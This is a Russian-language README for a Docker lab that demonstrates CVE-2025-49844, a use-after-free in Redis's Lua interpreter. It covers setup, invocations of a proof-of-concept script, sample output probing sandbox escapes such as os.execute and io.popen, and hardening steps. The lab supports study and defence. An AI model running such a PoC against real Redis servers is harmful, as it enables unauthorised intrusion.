
Учебная лабораторная среда с proof-of-concept эксплойтом для CVE-2025-49844 (RediShell), критической уязвимостью use-after-free в Lua-интерпретаторе Redis, включая настройку Docker и анализ уязвимости.
Практическая лабораторная среда для тестирования и изучения критической уязвимости CVE-2025-49844 (RediShell) в Redis.
Это только для образовательных целей!
Все версии Redis до:
В этой лабораторной среде используется Redis 7.2.0 (уязвимая версия).
# Установка Docker и Docker Compose
sudo apt-get update
sudo apt-get install docker.io docker-compose
# Установка зависимостей Python
pip install redis colorama
# 1. Запуск уязвимого экземпляра Redis
docker-compose up -d
# 2. Подождите несколько секунд, пока Redis запустится
sleep 5
# 3. Проверьте, что Redis работает
docker-compose ps
# 4. Запустите эксплойт
python3 exploit_poc.py -H localhost -p 6380 -m all
# Только проверка уязвимости
python3 exploit_poc.py -H localhost -p 6380 -m check
# Базовый тест UAF
python3 exploit_poc.py -H localhost -p 6380 -m basic
# Тест обхода песочницы
python3 exploit_poc.py -H localhost -p 6380 -m sandbox
# Тест продвинутого повреждения памяти
python3 exploit_poc.py -H localhost -p 6380 -m advanced
# Запуск всех тестов
python3 exploit_poc.py -H localhost -p 6380 -m all
# С аутентификацией
python3 exploit_poc.py -H localhost -p 6380 -a "password" -m all
# Просмотр логов
docker-compose logs -f
# Подключение к Redis CLI
docker-compose exec redis-vulnerable redis-cli
# Остановка лабораторной среды
docker-compose down
# Полное удаление (включая тома)
docker-compose down -v
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-49844 (RediShell) PoC ║
║ Use-After-Free in Redis Lua Interpreter ║
║ CVSS Score: 10.0 (CRITICAL) ║
╚═══════════════════════════════════════════════════════════╝
[*] Testing connection to localhost:6380...
[+] Connected successfully!
[i] Redis Version: 7.2.0
[*] Checking if Lua scripting is enabled...
[+] Lua scripting is enabled!
[*] Checking vulnerability status...
[i] Detected Redis version: 7.2.0
[!] VULNERABLE: This version is affected by CVE-2025-49844
[!] Update to the latest patched version immediately!
[*] Attempting basic UAF trigger...
[+] Lua script executed: UAF pattern executed
[!] UAF pattern triggered (simplified demo)
[*] Testing Lua sandbox boundaries...
[*] Testing os.execute...
[+] Protected: os.execute blocked
[*] Testing io.popen...
[+] Protected: io.popen blocked
[*] Testing loadfile...
[+] Protected: loadfile blocked
[*] Testing package.loadlib...
[+] Protected: package.loadlib blocked
[*] Attempting memory corruption pattern...
[+] Memory corruption pattern executed: Memory corruption pattern completed
[!] In vulnerable versions, this could lead to RCE!
============================================================
[*] PoC execution completed
============================================================
Уязвимость эксплуатирует 13-летнюю ошибку Use-After-Free в Lua-интерпретаторе Redis:
# Загрузка последней исправленной версии
docker pull redis:8.2.2
# или
docker pull redis:7.4.6
# /etc/redis/redis.conf
# Включение аутентификации
requirepass your_strong_password_here
# Ограничение сетевого доступа
bind 127.0.0.1 ::1
protected-mode yes
# Отключение опасных команд
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
rename-command EVALSHA ""
# Включение логирования
loglevel notice
logfile /var/log/redis/redis-server.log
# Отключение Lua-скриптинга для конкретных пользователей
redis-cli ACL SETUSER myuser -@scripting
# Создание ограниченного пользователя
redis-cli ACL SETUSER limited on >password ~* +@read +@write -@scripting
# Использование правил брандмауэра
sudo ufw allow from 192.168.1.0/24 to any port 6379
sudo ufw deny 6379
# Или использование iptables
sudo iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP
# Проверка, что использует порт
sudo lsof -i :6380
# Или измените порт в docker-compose.yml
# ports:
# - "6381:6379"
# Установка необходимых пакетов
pip install redis colorama
# Или использование виртуального окружения
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# Добавление пользователя в группу docker
sudo usermod -aG docker $USER
# Затем выйдите из системы и войдите снова
# Проверка логов
docker-compose logs
# Перезапуск контейнера
docker-compose restart
# Пересборка образа
docker-compose up -d --build
redis_exploit/
├── Dockerfile # Уязвимый экземпляр Redis 7.2.0
├── docker-compose.yml # Конфигурация Docker Compose
├── exploit_poc.py # Основной скрипт эксплойта
├── requirements.txt # Зависимости Python
├── .gitignore # Файл Git ignore
└── README.md # Этот файл
Этот PoC упрощён и предназначен только для образовательных целей. Реальный эксплойт CVE-2025-49844 включает сложные манипуляции с памятью. Всегда обновляйте свои экземпляры Redis до последней версии!